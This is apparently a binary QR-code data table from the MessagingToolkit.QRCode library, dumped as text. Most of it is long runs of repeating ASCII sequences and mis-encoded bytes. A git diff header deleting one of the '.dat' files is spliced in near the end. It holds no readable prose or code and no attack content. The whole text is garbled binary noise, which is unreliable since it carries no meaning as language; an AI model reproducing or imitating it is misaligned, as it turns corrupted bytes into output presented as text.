BABABABA>=>=>=>=<;<;<;<;:9:9:9:98787878743434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#        - - - - BA@?@?@?>=>=>=>=<;<;<;<;:9:9:9:98787878743434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#        - - - - @?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:98787777743434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#        - - - - @?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:98787878743434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%"!"!"!"!        - - - - @?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:96565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%"!"!"!"!        - - - - @?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:96565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%"!"!"!"!        - - - - @?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:96565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%"!"!"!"!        - - - - @?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:96565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%"!"!"!"!        - - - - @?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:96565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!        - - - - @?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:96565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!        - - - - @?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:96565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!        - - - - @?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:96565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!        - - - - @?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:96565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!        - - - - %%&&''((iihhggff==>>??@@``__^^]]eeffgghh88776655 zzyyxxww{{||}}~~ ""##$$%%{{zzyyxxJJKKLLMMSSRRQQPPrrssttuu++**))(([[\\]]^^'&&%%$$# - -//001122nnmmllkkWWXXYYZZFFEEDDCC6677==>>DDCCBBAA<<==>>??))**++,,eeddccbbAABBCCDD\\[[ZZYYiijjkkll44332211 - -  vvuuoonn&&''(())wwvvuuttNNOOPPQQOONNMMLLvvwwxxyy''&&%%$$__``aabb#""!!  33445566jjiihhgg[[\\]]^^BBAA@@????@@AABB@@??>>==@@AABBCC--..//00aa``__^^ ~~}}EEFFGGHHXXWWVVUUmmnnoopp00//..--!!""##$$mmllkkjj**++,,--ssrrqqppRRSSTTUUKKJJIIHHzz{{||}}##""!!  ccddeeff778899::ffeeddcc__``aabb>>==<<;;CCDDEEFF<;:98776 - -~~DDEEFFGG11223344]]\\[[ZZ!!""##$$||{{zzyyIIJJKKLLTTSSRRQQqqrrsstt,,++**))%%&&''((iihhggff ..//0011oonnmmllVVWWXXYYGGFFEEDD~~ - - gghhiijj;;<<==>>bbaa``__ccddeeff::998877GGHHIIJJ65544332  !!""##}}||{{zzHHIIJJKK55667788YYSSRRQQ%%&&''((xxwwvvuuMMNNOOPPPPOONNMMuuvvwwxx((''&&%%))**++,,eeddccbb - - 22334455kkjjiihhZZ[[\\]]CCBBAA@@kkllmmnn??@@AABB^^]]\\[[gghhiijj66554433 KKLLMMNN21100//.$$%%&&''yyxxwwvvLLMMNNOO99::;;<>==<<~~oouuvvww CCDDEEFFZZYYXXWWkkllmmnn221100// - - OOPPQQRR.--,,++*(())**++uuttssrrPPQQRRSS==>>??@@LLKKJJII--..//00ppoonnmmUUVVWWXXHHGGFFEE}}~~  - - 11223344]]\\[[ZZ::;;<<==ccbbaa``bbccddee;;::9988}}||{{zzxxyyzz{{ - -  !!""~~}}||{{GGHHIIJJVVUUTTSSooppqqrr..--,,++SSYYZZ[[*))((''&,,--..//qqppoonnTTUUVVWWAABBCCDDHHGGFFEE11223344llkkjjiiYYZZ[[\\DDCCBBAA 55667788YYSSRRQQ>>??@@AA__^^]]\\ffgghhii77665544 yyxxwwvv||}}~~##$$%%&&zzyyxxwwKKLLMMNNRRQQPPOOssttuuvv**))((''\\]]^^__&%%$$##" - - 00112233mmllkkjjXXYYZZ[[EEFFGGHHDDCCBBAA55667788hhggffee]]^^__``@@??>>==99::;;<>==99::;;<>??@@LLKKJJII !!~~}}||FFGGHHIIWWVVUUTTnnooppqq//..--,,""##$$%%llkkjjii++,,--..rrqqppooSSTTUUVVJJIIHHGG{{||}}~~""!!  - -ddeeffgg8899::;;eeddccbb``aabbccMMNNOOPP77665544==>>??@@``__^^]]eeffgghh88776655 AABBCCDDHHGGFFEE""##$$%%{{zzyyxxJJKKLLMMSSRRQQPPrrssttuu++**))((&&''(())hhggffee - -//001122nnmmllkkWWXXYYZZFFEEDDCC hhiijjkk<<==>>??aa``__^^ddeeffggQQRRSSTT33221100AABBCCDD\\[[ZZYYiijjkkll44332211 - -  ~~}}EEFFGGHHDDCCBBAA&&''(())wwvvuuttNNOOPPQQOONNMMLLvvwwxxyy''&&%%$$**++,,--ddccbbaa 33445566jjiihhgg[[\\]]^^BBAA@@??llmmnnoo@@AABBCC]]\\[[ZZhhiijjkk~~}}UUVVWWXX//..--,,EEFFGGHHXXWWVVUUmmnnoopp00//..--!!""##$$||{{zzyyIIJJKKLL@@??>>==**++,,--ssrrqqppRRSSTTUUKKJJIIHHzz{{||}}##""!!  ..//0011``__^^]]778899::ffeeddcc__``aabb>>==<<;;~~}}uuvvwwxx ~~DDEEFFGGYYXXWWVVllmmnnoo||{{zzyyYYZZ[[\\++**))((IIJJKKLLTTSSRRQQqqrrsstt,,++**))%%&&''((xxwwvvuuMMNNOOPP77665544..//0011oonnmmllVVWWXXYYGGFFEEDD~~ - - 22334455\\[[ZZYY;;<<==>>bbaa``__ccddeeff::998877||{{zzyyyyzz{{|| - -  !!""##}}||{{zzHHIIJJKKUUTTSSRRppqqrrssxxwwvvuu]]^^__``''&&%%$$MMNNOOPPPPOONNMMuuvvwwxx((''&&%%))**++,,ttssrrqqQQRRSSTT3322110022334455kkjjiihhZZ[[\\]]CCBBAA@@66778899SSRRQQPP??@@AABB^^]]\\[[gghhiijj66554433 xxwwvvuu}}~~$$%%&&''yyxxwwvvLLMMNNOOQQPPOONNttuuvvwwttssrrqqaabbccdd##""!!QQRRSSTTLLKKJJIIyyzz{{||$$##""!!--..//00ppoonnmmUUVVWWXX//..--,,66778899ggffeedd^^__``aa??>>==<<::;;<<==OONNMMLLCCDDEEFFZZYYXXWWkkllmmnn221100// - -  !!""oonnmmll(())**++uuttssrrPPQQRRSSMMLLKKJJxxyyzz{{ppoonnmmeeffgghhUUVVWWXXHHGGFFEE}}~~  - - 11223344llkkjjiiYYZZ[[\\++**))((::;;<<==ccbbaa``bbccddee;;::9988>>??@@AAKKJJIIHH !!""~~}}||{{GGHHIIJJVVUUTTSSooppqqrr..--,,++##$$%%&&kkjjiihh,,--..//qqppoonnTTUUVVWWIIHHGGFF||}}~~llkkjjiiiijjkkll~~}}||YYZZ[[\\DDCCBBAA 55667788hhggffee]]^^__``''&&%%$$>>??@@AA__^^]]\\ffgghhii77665544 BBCCDDEEGGFFEEDD##$$%%&&zzyyxxwwKKLLMMNNRRQQPPOOssttuuvv**))((''''(())**ggffeedd - - 00112233mmllkkjjXXYYZZ[[EEDDCCBBhhggffeemmnnoopp{{zzyyxx]]^^__``@@??>>==99::;;<>aa``__^^ddccbbaaqqrrsstt wwvvuutsaabbccdd<<;;::99==>>??@@``__^^]]eeffgghhFFGGHHIIWWVVUUTTnnooppqq//..--,,""##$$%%{{zzyyxxJJKKLLMM??>>==77++,,--..rrqqppooSSTTUUVVJJIIHHGG{{||}}~~""!!  - -//001122__^^]]\\8899::;;eeddccbb``aabbcc==<<;;::]]\\[[ZZ``__^^]]uuvvwwxx - - - -rqpoonnmeeffgghh88776655 AABBCCDD\\[[ZZYYiijjkkllJJKKLLMMSSRRQQPPrrssttuu++**))((&&''(())wwvvuuttNNOOPPQQ66554433//001122nnmmllkkWWXXYYZZFFEEDDCC 33445566[[ZZYYSS<<==>>??aa``__^^ddeeffgg99887766YYXXWWVV\\[[ZZYYyyzz{{|| mllkkjjiiijjkkll44332211 - -  ~~}}EEFFGGHHXXWWVVUUmmnnooppNNOOPPQQOONNMMLLvvwwxxyy''&&%%$$**++,,--ssrrqqppRRSSTTUU221100//33445566jjiihhgg[[\\]]^^BBAA@@??778899::RRQQPPOO@@AABBCC]]\\[[ZZhhiijjkk55443322UUTTSSRRXXWWVVUU}}~~ihhggffemmnnoopp00//..--!!""##$$||{{zzyyIIJJKKLLTTSSRRQQqqrrsstt ~~}}||RRSSTTUUKKJJIIHHzz{{||}}##""!!  ..//0011oonnmmllVVWWXXYY..--,,++778899::ffeeddcc__``aabb>>==<<;;;;<<==>>NNMMLLKK~~DDEEFFGGYYXXWWVVllmmnnoo1100//..QQPPOONNTTSSRRQQeddccbbaqqrrsstt,,++**))%%&&''((xxwwvvuuMMNNOOPPPPOONNMMuuvvwwxx - - {{zzyyxxVVWWXXYYGGFFEEDD~~ - - 22334455kkjjiihhZZ[[\\]]**))(('';;<<==>>bbaa``__ccddeeff::998877??@@AABBJJIIHHGG !!""##}}||{{zzHHIIJJKKUUTTSSRRppqqrrss--,,++**MMLLKKJJPPOONNMMa``__^^]uuvvwwxx((''&&%%))**++,,ttssrrqqQQRRSSTTLLKKJJIIyyzz{{||wwvvuutsZZ[[\\]]CCBBAA@@66778899ggffeedd^^__``aa&&%%$$##??@@AABB^^]]\\[[gghhiijj66554433 CCDDEEFFFFEEDDCC$$%%&&''yyxxwwvvLLMMNNOOQQPPOONNttuuvvww))((''&&IIHHGGFFLLKKJJII!!""##]\\[[ZZYyyzz{{||$$##""!!--..//00ppoonnmmUUVVWWXXHHGGFFEE}}~~ - -rqpoonnm^^__``aa??>>==<<::;;<<==ccbbaa``bbccddee""!!CCDDEEFFZZYYXXWWkkllmmnn221100// - -  !!""~~}}||{{GGHHIIJJBBAA@@??(())**++uuttssrrPPQQRRSSMMLLKKJJxxyyzz{{%%$$##""EEDDCCBBHHGGFFEE$$%%&&''YXWVUTSS}}~~  - - 11223344llkkjjiiYYZZ[[\\DDCCBBAA mllkkjjibbccddee;;::9988>>??@@AA__^^]]\\ffgghhiiGGHHIIJJVVUUTTSSooppqqrr..--,,++##$$%%&&zzyyxxwwKKLLMMNN>>==7766,,--..//qqppoonnTTUUVVWWIIHHGGFF||}}~~!! AA@@??>>DDCCBBAA(())**++RRQQPPOO 55667788hhggffee]]^^__``@@??>>==ihhggffeffgghhii77665544 BBCCDDEE[[ZZYYXXjjkkllmmKKLLMMNNRRQQPPOOssttuuvv**))((''''(())**vvuuttssOOPPQQRR5544332200112233mmllkkjjXXYYZZ[[EEDDCCBB==<<;;::@@??>>==,,--..//NNMMLLKK99::;;<>99887766<<;;::9900112233JJIIHHGG==>>??@@``__^^]]eeffgghh88776655a``__^^]nnooppqq//..--,,""##$$%%{{zzyyxxJJKKLLMMSSRRQQPPrrssttuu - -~~}}||{{SSTTUUVVJJIIHHGG{{||}}~~""!!  - -//001122nnmmllkkWWXXYYZZ--,,++**8899::;;eeddccbb``aabbcc==<<;;::554433228877665544556677FFEEDDCC AABBCCDD\\[[ZZYYiijjkkll44332211!!""##]\\[[ZZYrrssttuu++**))((&&''(())wwvvuuttNNOOPPQQOONNMMLLvvwwxxyy zzyyxxwwWWXXYYZZFFEEDDCC 33445566jjiihhgg[[\\]]^^))((''&&<<==>>??aa``__^^ddeeffgg998877661100//..44332211==>>??@@BBAA@@?? - -  ~~}}EEFFGGHHXXWWVVUUmmnnoopp00//..--$$%%&&''YXWVUTSSvvwwxxyy''&&%%$$**++,,--ssrrqqppRRSSTTUUKKJJIIHHzz{{||}}vvuutsrq[[\\]]^^BBAA@@??778899::ffeeddcc__``aabb%%$$##""@@AABBCC]]\\[[ZZhhiijjkk55443322 - ---,,++**00//..--AABBCCDD>>==<;:9!!""##$$||{{zzyyIIJJKKLLTTSSRRQQqqrrsstt,,++**))(())**++RRQQPPOOzz{{||}}##""!!  ..//0011oonnmmllVVWWXXYYGGFFEEDD~~ - - poonnmml__``aabb>>==<<;;;;<<==>>bbaa``__ccddeeff!!DDEEFFGGYYXXWWVVllmmnnoo1100//.. ))((''&&,,++**))EEFFGGHH87766554%%&&''((xxwwvvuuMMNNOOPPPPOONNMMuuvvwwxx((''&&%%,,--..//NNMMLLKK~~ - - 22334455kkjjiihhZZ[[\\]]CCBBAA@@ lkkjjiihccddeeff::998877??@@AABB^^]]\\[[gghhiijjHHIIJJKKUUTTSSRRppqqrrss--,,++**%%$$##""((''&&%%IIJJKKLL43322110))**++,,ttssrrqqQQRRSSTTLLKKJJIIyyzz{{||$$##""!!00112233JJIIHHGG66778899ggffeedd^^__``aa??>>==<<hggffeedgghhiijj66554433 CCDDEEFFZZYYXXWWkkllmmnnLLMMNNOOQQPPOONNttuuvvww))((''&&!! $$##""!!MMNNOOPP0//..--,--..//00ppoonnmmUUVVWWXXHHGGFFEE}}~~ 44556677FFEEDDCC::;;<<==ccbbaa``bbccddee;;::9988dccbbaa`kkllmmnn221100// - -  !!""~~}}||{{GGHHIIJJVVUUTTSSooppqqrr ~~PPQQRRSSMMLLKKJJxxyyzz{{%%$$##"" QQRRSSYY,++**))( - - 11223344llkkjjiiYYZZ[[\\DDCCBBAA==>>??@@BBAA@@??>>??@@AA__^^]]\\ffgghhii77665544`__^^]]\ooppqqrr..--,,++##$$%%&&zzyyxxwwKKLLMMNNRRQQPPOOssttuuvv - - }}||{{zzTTUUVVWWIIHHGGFF||}}~~!!  - - ZZ[[\\]](''&&%%$ 55667788hhggffee]]^^__``@@??>>==AABBCCDD>>==<;:9 BBCCDDEE[[ZZYYXXjjkkllmm33221100!!""##$$\[[ZZYYXssttuuvv**))((''''(())**vvuuttssOOPPQQRRNNMMLLKKwwxxyyzzyyxxwwvvXXYYZZ[[EEDDCCBB ^^__``aa$##""!! 99::;;<>bbccddee==>>??@@``__^^]]eeffgghh88776655 IIJJKKLL43322110""##$$%%{{zzyyxxJJKKLLMMSSRRQQPPrrssttuu++**))(())**++,,QQPPOONN{{||}}~~""!!  - -//001122nnmmllkkWWXXYYZZFFEEDDCC - - onnmmllk``aabbcc==<<;;:: - - ffgghhiiAABBCCDD\\[[ZZYYiijjkkll44332211 - - MMNNOOPP0//..--,&&''(())wwvvuuttNNOOPPQQOONNMMLLvvwwxxyy''&&%%$$--..//00MMLLKKJJ 33445566jjiihhgg[[\\]]^^BBAA@@?? kjjiihhgddeeffgg99887766  - - jjkkllmm ~~}}EEFFGGHHXXWWVVUUmmnnoopp00//..--QQRRSSYY,++**))(**++,,--ssrrqqppRRSSTTUUKKJJIIHHzz{{||}}##""!! 11223344IIHHGGFF778899::ffeeddcc__``aabb>>==<<;;gffeeddchhiijjkk55443322 - -~~ - - nnoouuvv!!""##$$||{{zzyyIIJJKKLLTTSSRRQQqqrrsstt,,++**))ZZ[[\\]](''&&%%$ ..//0011oonnmmllVVWWXXYYGGFFEEDD~~556677==EEDDCCBB;;<<==>>bbaa``__ccddeeff::998877cbbaa``_llmmnnoo1100//..  !!""##}}||{{zz wwxxyyzz - -%%&&''((xxwwvvuuMMNNOOPPPPOONNMMuuvvwwxx((''&&%%^^__``aa$##""!! - - 22334455kkjjiihhZZ[[\\]]CCBBAA@@>>??@@AAAA@@??>>??@@AABB^^]]\\[[gghhiijj66554433!!_^^]]\\[ppqqrrss--,,++**$$%%&&''yyxxwwvv{{||}}~~ ))**++,,ttssrrqqQQRRSSTTLLKKJJIIyyzz{{||$$##""!!bbccddee66778899ggffeedd^^__``aa??>>==<<BBCCDDEE==<;:987 CCDDEEFFZZYYXXWWkkllmmnn221100//""##$$%%[ZZYYXWVttuuvvww))((''&&(())**++uuttssrr - - ~~}}||{{--..//00ppoonnmmUUVVWWXXHHGGFFEE}}~~  - - ffgghhii::;;<<==ccbbaa``bbccddee;;::9988FFGGHHII76655443 - -  !!""~~}}||{{GGHHIIJJVVUUTTSSooppqqrr..--,,++&&''(())UTSSRRQQxxyyzz{{%%$$##"",,--..//qqppoonn zzyyxxww - - 11223344llkkjjiiYYZZ[[\\DDCCBBAA jjkkllmm>>??@@AA__^^]]\\ffgghhii77665544 JJKKLLMM3221100/##$$%%&&zzyyxxwwKKLLMMNNRRQQPPOOssttuuvv**))((''**++,,--PPOONNMM||}}~~!!  - - 00112233mmllkkjj vvuuoonn 55667788hhggffee]]^^__``@@??>>==nnoouuvvBBCCDDEE[[ZZYYXXjjkkllmm33221100 - - NNOOPPQQ/..--,,+''(())**vvuuttssOOPPQQRRNNMMLLKKwwxxyyzz&&%%$$##..//0011LLKKJJII 44556677iihhggff!!""##$$mmllkkjj99::;;<>))**++,,ttssrrqqQQRRSSTTLLKKJJIIyyzz{{||$$##""!!--..//00aa``__^^66778899ggffeedd^^__``aa??>>==<<MMNNOOPP++**))(($$%%&&''yyxxwwvvLLMMNNOO==776655--..//00ppoonnmmUUVVWWXXHHGGFFEE}}~~  - - 11223344]]\\[[ZZ::;;<<==ccbbaa``bbccddee;;::9988QQRRSSYY''&&%%$$(())**++uuttssrrPPQQRRSS4433221111223344llkkjjiiYYZZ[[\\DDCCBBAA 55667788YYSSRRQQ>>??@@AA__^^]]\\ffgghhii77665544 ZZ[[\\]]##""!! ,,--..//qqppoonnTTUUVVWW00//..--55667788hhggffee]]^^__``@@??>>==99::;;<>??@@LLKKJJII !!~~}}||FFGGHHIIWWVVUUTTnnooppqq//..--,,bbccddee44556677iihhggff\\]]^^__((''&&%%==>>??@@``__^^]]eeffgghh88776655 AABBCCDDHHGGFFEE""##$$%%{{zzyyxxJJKKLLMMSSRRQQPPrrssttuu++**))((ffgghhii8899::;;eeddccbb``aabbcc$$##""!!AABBCCDD\\[[ZZYYiijjkkll44332211 - -  ~~}}EEFFGGHHDDCCBBAA&&''(())wwvvuuttNNOOPPQQOONNMMLLvvwwxxyy''&&%%$$jjkkllmm<<==>>??aa``__^^ddeeffggEEFFGGHHXXWWVVUUmmnnoopp00//..--!!""##$$||{{zzyyIIJJKKLL@@??>>==**++,,--ssrrqqppRRSSTTUUKKJJIIHHzz{{||}}##""!!  nnoouuvv @@AABBCC]]\\[[ZZhhiijjkkIIJJKKLLTTSSRRQQqqrrsstt,,++**))%%&&''((xxwwvvuuMMNNOOPP77665544..//0011oonnmmllVVWWXXYYGGFFEEDD~~ - - wwxxyyzz - - DDEEFFGGYYXXWWVVllmmnnooMMNNOOPPPPOONNMMuuvvwwxx((''&&%%))**++,,ttssrrqqQQRRSSTT3322110022334455kkjjiihhZZ[[\\]]CCBBAA@@{{||}}~~ - - HHIIJJKKUUTTSSRRppqqrrss ~~}}QQRRSSTTLLKKJJIIyyzz{{||$$##""!!--..//00ppoonnmmUUVVWWXX//..--,,66778899ggffeedd^^__``aa??>>==<<~~}}||{{LLMMNNOOQQPPOONNttuuvvww - - ||{{zzyyUUVVWWXXHHGGFFEE}}~~  - - 11223344llkkjjiiYYZZ[[\\++**))((::;;<<==ccbbaa``bbccddee;;::9988zzyyxxwwPPQQRRSSMMLLKKJJxxyyzz{{xxwwvvuuYYZZ[[\\DDCCBBAA 55667788hhggffee]]^^__``''&&%%$$>>??@@AA__^^]]\\ffgghhii77665544 vvuuoonnTTUUVVWWIIHHGGFF||}}~~ tsrqpoon]]^^__``@@??>>==99::;;<>??@@``__^^]]eeffgghhFFGGHHIIWWVVUUTTnnooppqq//..--,,""##$$%%iihhggff !!\\]]^^__AA@@??>>jiihhggfeeffgghh88776655 AABBCCDD\\[[ZZYYiijjkkllJJKKLLMMSSRRQQPPrrssttuu++**))((&&''(())eeddccbb""##$$%%``aabbcc==<<;;::feeddccbiijjkkll44332211 - -  ~~}}EEFFGGHHXXWWVVUUmmnnooppNNOOPPQQOONNMMLLvvwwxxyy''&&%%$$**++,,--aa``__^^&&''(())ddeeffgg99887766baa``__^mmnnoopp00//..--!!""##$$||{{zzyyIIJJKKLLTTSSRRQQqqrrsstt ~~}}||RRSSTTUUKKJJIIHHzz{{||}}##""!!  ..//0011]]\\[[ZZ**++,,--hhiijjkk55443322!!""^]]\\[[Zqqrrsstt,,++**))%%&&''((xxwwvvuuMMNNOOPPPPOONNMMuuvvwwxx - - {{zzyyxxVVWWXXYYGGFFEEDD~~ - - 22334455YYSSRRQQ..//0011llmmnnoo1100//..##$$%%&&ZYYXWVUTuuvvwwxx((''&&%%))**++,,ttssrrqqQQRRSSTTLLKKJJIIyyzz{{||wwvvuutsZZ[[\\]]CCBBAA@@66778899PPOONNMM22334455ppqqrrss--,,++**''(())**SSRRQQPPyyzz{{||$$##""!!--..//00ppoonnmmUUVVWWXXHHGGFFEE}}~~ - -rqpoonnm^^__``aa??>>==<<::;;<<==LLKKJJII66778899ttuuvvww))((''&&++,,--..OONNMMLL}}~~  - - 11223344llkkjjiiYYZZ[[\\DDCCBBAA mllkkjjibbccddee;;::9988>>??@@AAHHGGFFEE::;;<<==xxyyzz{{%%$$##""//001122KKJJIIHH 55667788hhggffee]]^^__``@@??>>==ihhggffeffgghhii77665544 BBCCDDEEDDCCBBAA>>??@@AA||}}~~!! 33445566GGFFEEDD99::;;<>==BBCCDDEE77==>>??CCBBAA@@==>>??@@``__^^]]eeffgghh88776655a``__^^]nnooppqq//..--,,""##$$%%{{zzyyxxJJKKLLMM77665544FFGGHHII@@AABBCC??>>==<; AABBCCDD\\[[ZZYYiijjkkll44332211!!""##]\\[[ZZYrrssttuu++**))((&&''(())wwvvuuttNNOOPPQQ33221100JJKKLLMMDDEEFFGG:9877665 - -  ~~}}EEFFGGHHXXWWVVUUmmnnoopp00//..--$$%%&&''YXWVUTSSvvwwxxyy''&&%%$$**++,,--ssrrqqppRRSSTTUU//..--,,NNOOPPQQHHIIJJKK54433221!!""##$$||{{zzyyIIJJKKLLTTSSRRQQqqrrsstt,,++**))(())**++RRQQPPOOzz{{||}}##""!!  ..//0011oonnmmllVVWWXXYY++**))((RRSSTTUU - -LLMMNNOO100//..-%%&&''((xxwwvvuuMMNNOOPPPPOONNMMuuvvwwxx((''&&%%,,--..//NNMMLLKK~~ - - 22334455kkjjiihhZZ[[\\]]''&&%%$$~~}}||VVWWXXYY PPQQRRSS-,,++**)))**++,,ttssrrqqQQRRSSTTLLKKJJIIyyzz{{||$$##""!!00112233JJIIHHGG66778899ggffeedd^^__``aa##""!!{{zzyyxxZZ[[\\]]YYZZ[[\\)((''&&%--..//00ppoonnmmUUVVWWXXHHGGFFEE}}~~ 44556677FFEEDDCC::;;<<==ccbbaa``bbccddeewwvvuutt^^__``aa]]^^__``%$$##""! - - 11223344llkkjjiiYYZZ[[\\DDCCBBAA==>>??@@BBAA@@??>>??@@AA__^^]]\\ffgghhiissrrqqppbbccddeeaabbccdd!  55667788hhggffee]]^^__``@@??>>==AABBCCDD>>==<;:9 BBCCDDEE[[ZZYYXXjjkkllmmoonnmmllffgghhii - - eeffgghh99::;;<>??@@``__^^]]eeffgghh88776655 IIJJKKLL43322110""##$$%%{{zzyyxxJJKKLLMMSSRRQQPPrrssttuu - - - -ggffeeddnnooppqqmmnnoouuAABBCCDD\\[[ZZYYiijjkkll44332211 - - MMNNOOPP0//..--,&&''(())wwvvuuttNNOOPPQQOONNMMLLvvwwxxyy ccbbaa``rrssttuu~~}}||vvwwxxyy  ~~}}EEFFGGHHXXWWVVUUmmnnoopp00//..--QQRRSSYY,++**))(**++,,--ssrrqqppRRSSTTUUKKJJIIHHzz{{||}}__^^]]\\vvwwxxyy{{zzyyxxzz{{||}} - - !!""##$$||{{zzyyIIJJKKLLTTSSRRQQqqrrsstt,,++**))ZZ[[\\]](''&&%%$ ..//0011oonnmmllVVWWXXYYGGFFEEDD~~[[ZZYYXXzz{{||}}wwvvuuoo~~%%&&''((xxwwvvuuMMNNOOPPPPOONNMMuuvvwwxx((''&&%%^^__``aa$##""!! - - 22334455kkjjiihhZZ[[\\]]CCBBAA@@WWVVUUTT~~ !!""##nnmmllkk))**++,,ttssrrqqQQRRSSTTLLKKJJIIyyzz{{||$$##""!!bbccddee66778899ggffeedd^^__``aa??>>==<<!!""##SSRRQQPP$$%%&&''jjiihhgg--..//00ppoonnmmUUVVWWXXHHGGFFEE}}~~  - - ffgghhii::;;<<==ccbbaa``bbccddee;;::9988$$%%&&''OONNMMLL(())**++ffeeddcc - - 11223344llkkjjiiYYZZ[[\\DDCCBBAA jjkkllmm>>??@@AA__^^]]\\ffgghhii77665544(())**++KKJJIIHH,,--..//bbaa``__ 55667788hhggffee]]^^__``@@??>>==nnoouuvvBBCCDDEE[[ZZYYXXjjkkllmm33221100,,--..//GGFFEEDD00112233^^]]\\[[99::;;<>??@@``__^^]]eeffgghh88776655 zzyyxxww{{||}}~~ ""##$$%%{{zzyyxxJJKKLLMMSSRRQQPPrrssttuu++**))((44556677??>>==<<8899::;;QQPPOONNAABBCCDD\\[[ZZYYiijjkkll44332211 - -  vvuuoonn&&''(())wwvvuuttNNOOPPQQOONNMMLLvvwwxxyy''&&%%$$==>>??@@;;::9988<<==>>??MMLLKKJJ ~~}}EEFFGGHHXXWWVVUUmmnnoopp00//..--!!""##$$mmllkkjj**++,,--ssrrqqppRRSSTTUUKKJJIIHHzz{{||}}##""!! AABBCCDD77665544@@AABBCCIIHHGGFF!!""##$$||{{zzyyIIJJKKLLTTSSRRQQqqrrsstt,,++**))%%&&''((iihhggff ..//0011oonnmmllVVWWXXYYGGFFEEDD~~EEFFGGHH33221100ZHAbtlJ`f~ےbHA`vXnے`JXQtlJnXv`bHAZdrtA`vXnے`JXQfpvXQJ`ےtbdQpfH~pZA`~Hf˂rXQltbvpfH˂pZrd|~Hf˂rXQtbn˂pZHAd|ZvnXHAZp˂f`vbے`dQbtvnX`ےbZ|df`vbے`dQbtbHAXQJdrtAfH~pZHAbf~Zp˂tAJlnvpے`JXQtArdHfpvZp˂vpfr˂ptArdf~Hp˂rJltvpfr˂pnXv`bHAZZ|l璐f`vJXQrbpvnJ`ےdQZ|~f`HAbےZdQbtpvnJ`ےvpfbے`dQbt璕v`f~rXQJXnvJXQrlJtArv`fHAZp˂rtAJlXnvJXQrlJtAr`ےbJltf`vXے`JHfpvrXQJ`tbdQZfH~r˂p|ZdQbnXvrXQJ`H~fZHAb|ZdQbfpvXQJ`ےbdQZ|H~fZHAے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H˂pZrd|~Hf˂rXQltbvpfHۑpJvˍpfdrQtHfpvrXQJ`tAJl璐f`vtArdf~Hp˂rJltvpfr˂ptArdfHfdrtA`vXnXQr˂dQbtXQJ`ےdQZ|~f`HAbےZdQbtpvnJ`ےdQZ|~f`AHr󙐂˕H~ㅐfJltnXvےbHAtbdQZXH~|ZdQbfpvXQJ`ےbdQZ|H~fZHAb|ZdQbpvnJltvpfpZHAblJtArHAZpdrtAJvXn`JXQrlJtAXv`fbHAZpdrtAJvXn`ZQXb`vXnbAdZ|KKKKKKKKKKKKKKKKKKLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv40_1.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv40_1.dat deleted file mode 100644 index 4edce7d..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv40_1.dat +++ /dev/null @@ -1,353 +0,0 @@ -~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwvuvuvuvuvutstststststststsrqrqrqrqpopopopopopopoponmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefefefedcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUVUVUVUVUSTSTSTSTTSRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;:9:9:9:9:9:9:9:9787777776565656565656565434343434343434321212121212121210/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('&%&%&%&%~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqpopopopopopopoponmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUVUVUVUVUSTSTSTSTRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFE